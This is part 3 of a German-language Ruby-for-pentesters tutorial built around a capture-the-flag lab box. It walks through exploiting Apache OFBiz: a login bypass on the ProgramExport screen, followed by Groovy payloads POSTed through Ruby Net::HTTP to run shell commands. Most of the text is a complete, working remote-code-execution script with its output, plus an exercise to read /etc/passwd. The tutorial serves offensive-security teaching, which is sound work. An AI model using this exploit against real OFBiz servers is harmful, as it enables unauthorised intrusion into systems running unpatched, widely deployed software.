// Ruby für Pentester · Teil 3
Erste Codeausführung
Wir richten den Auth-Bypass auf OFBiz' ProgramExport-Screen, POSTen einen Groovy-Payload und führen unser erstes Kommando auf der Box aus. Nebenbei lernst du POST-Anfragen, Hashes und wie man Daten aus einer Response herauszieht.
Teil 2 hat uns mit einer wiederverwendbaren get-Methode am Login vorbei-
gebracht. In OFBiz „authentifiziert” zu sein, ist nur deshalb nützlich, wohin
es uns lässt — konkret der ProgramExport-Screen, ein Entwickler-Werkzeug, das
Groovy (eine JVM-Skriptsprache) ausführt, das du ihm übergibst. Beliebiges
Groovy ist beliebige Codeausführung. Dieser Teil schickt unser erstes Kommando
und liest die Antwort zurück.
Eine Methode für POST
get steckte Daten in die URL. Code auszuführen heißt, einen Body zu
senden, also ein POST. Dieselbe Form wie zuvor, eine Methode mehr:
def post(path, form)
uri = URI("#{BASE}#{path}")
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
req = Net::HTTP::Post.new(uri.request_uri)
req.set_form_data(form)
http.request(req)
end
Das Neue ist form und set_form_data. form ist ein Hash — Rubys
Schlüssel/Wert-Struktur — und set_form_data URL-kodiert ihn für uns in einen
sauberen application/x-www-form-urlencoded-Body. Wir rufen es wie
post('/x', 'groovyProgram' => payload) auf.
Hashes, kurz
Ein Hash bildet Schlüssel auf Werte ab:
job = { 'name' => 'ofbiz', 'shell' => '/bin/bash' }
puts job['name'] # => ofbiz
job['pid'] = 4242 # add a key
Du wirst Hashes ständig nutzen — für Formularfelder, JSON, HTTP-Header, alles,
was „ein Satz benannter Dinge” ist. Hier brauchen wir nur ein Feld,
groovyProgram.
Der Payload
ProgramExport liest ein groovyProgram-Feld und führt es aus. Der
zuverlässige Weg, aus Groovy ein Shell-Kommando zu starten, ist dessen
Listenform von execute(), die jedes Listenelement als literales Argument
übergibt, sodass Quoting überlebt:
def run(cmd)
groovy = "throw new Exception(['bash', '-c', '#{cmd}'].execute().text)"
post("/webtools/control/ProgramExport?#{BYPASS}", 'groovyProgram' => groovy).body
end
Zwei Dinge sind wichtig zu verstehen:
- Der String ist doppelt gequotet, weil er
#{cmd}interpoliert — die eine Stelle, an der wir es brauchen. Die einfachen Anführungszeichen innen sind Groovys, nicht Rubys. throw new Exception(...)ist ein Trick:.textfängt den stdout des Kommandos ein, und ihn als Exception zu werfen bringt OFBiz dazu, diese Ausgabe direkt in die Response zu rendern. Also gibtrunden ganzen Response-Body zurück, mit der Ausgabe unseres Kommandos darin.
Eine Einschränkung, die früh erwähnt sein will: Weil #{cmd} in einem
einfach gequoteten Groovy-String landet ('#{cmd}'), schließt ein Kommando,
das selbst ein einfaches Anführungszeichen enthält — etwa awk '{print $1}' —
diesen String vorzeitig, und der Payload bricht. Für die einfachen Kommandos
hier ist das in Ordnung, und Teil 4 umgeht das Problem ganz, indem er in eine
echte Shell wechselt, wo das Quoting Sache der entfernten Shell ist statt unserer.
Ausführung bestätigen
Führ id aus und pick seine erkennbare Zeile mit einer Regex aus der Response:
body = run('id')
puts body[/uid=\d+\([^)]+\).*/]
String#[] mit einer Regex gibt den ersten Treffer zurück (oder nil). Lauf es:
$ ruby rce.rb
uid=1000(ofbiz) gid=1000(ofbiz) groups=1000(ofbiz)
Das ist Codeausführung als Service-Benutzer ofbiz. Der Ablauf, den du
gerade gelernt hast — ein Kommando abfeuern, dann die Antwort mit Regex aus der
Seite ziehen — ist, wie man eine RCE mit reflektierter Ausgabe bedient, bevor
man eine echte Shell hat. Genau die holt uns Teil 4.
Größere Payloads: Heredocs
Ein einzeiliges throw reicht für ein einzelnes Kommando, aber echte Payloads
wachsen. Wenn ein String über mehrere Zeilen geht, ist ihn mit \n und +
zusammenzukleben eine Qual. Rubys Antwort ist das Heredoc — ein Block-String,
der bis zu einem Markierungswort läuft:
def run_script(groovy)
post("/webtools/control/ProgramExport?#{BYPASS}", 'groovyProgram' => groovy).body
end
payload = <<~GROOVY
def out = new StringBuilder()
['id', 'hostname', 'whoami'].each { cmd ->
out << cmd << ' -> ' << cmd.execute().text
}
throw new Exception(out.toString())
GROOVY
puts run_script(payload)
<<~GROOVYöffnet ein Heredoc; alles bis zur Zeile, die nurGROOVYist, wird zum String. Das Markierungswort ist beliebig —GROOVYdokumentiert die Absicht.- Die
~(ein „geschlängeltes” Heredoc) entfernt die führende Einrückung, sodass du den Block passend zu deinem Code einrücken kannst und der Payload trotzdem linksbündig beim Ziel ankommt. - Ein Heredoc interpoliert
#{...}wie ein doppelt gequoteter String. Enthält ein Payload literale#{}, die du unangetastet willst, quote das Markierungswort —<<~'GROOVY'—, um die Interpolation abzuschalten.
Dasselbe post unter der Haube; das Heredoc macht nur einen mehrzeiligen Payload
lesbar.
Das Skript bisher
#!/usr/bin/env ruby
require 'net/http'
require 'uri'
BASE = 'https://bizness.htb'
BYPASS = 'USERNAME=&PASSWORD=&requirePasswordChange=Y'
def post(path, form)
uri = URI("#{BASE}#{path}")
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
req = Net::HTTP::Post.new(uri.request_uri)
req.set_form_data(form)
http.request(req)
end
def run(cmd)
groovy = "throw new Exception(['bash', '-c', '#{cmd}'].execute().text)"
post("/webtools/control/ProgramExport?#{BYPASS}", 'groovyProgram' => groovy).body
end
puts run('id')[/uid=\d+\([^)]+\).*/]
Erkenntnisse
- Ein Hash (
{ 'k' => 'v' }) ist Rubys benannte Wert-Struktur;set_form_datamacht daraus einen POST-Body. Net::HTTP::Post.new+set_form_data+http.requestschickt ein POST — das gleiche Client-Muster wieget, mit einem Body.- Nutze doppelte Anführungszeichen nur, wenn du interpolierst (
"#{cmd}"); die inneren Anführungszeichen des Payloads waren Groovys einfache. String#[](regex)zieht den ersten Treffer aus Text — perfekt, um Kommandoausgabe aus einer reflektierten RCE-Response zu isolieren.- Ein Heredoc (
<<~NAME ... NAME) ist Rubys mehrzeiliger String;~entfernt die Einrückung und<<~'NAME'schaltet die#{}-Interpolation ab.
Übungen
- Lauf
uname -adurchrunund zieh mit einer Regex (String#[]) nur die Kernel-Version aus der Ausgabe. - Schreib
run_many(cmds), das ein Array von Kommandos nimmt und einen Hash{ cmd => output }zurückgibt. (each_with_object({})ist ein sauberer Weg.) - Nutz ein Heredoc, um einen Groovy-Payload zu bauen, der
/etc/passwdliest, schick ihn und zieh dieofbiz-Zeile mit einer Regex heraus.
Weiter — Teil 4: Reflektierte Ausgabe ist umständlich. Wir steigen auf eine echte interaktive Shell um, indem wir unseren eigenen TCP-Listener in Ruby schreiben — und lernen Threads kennen.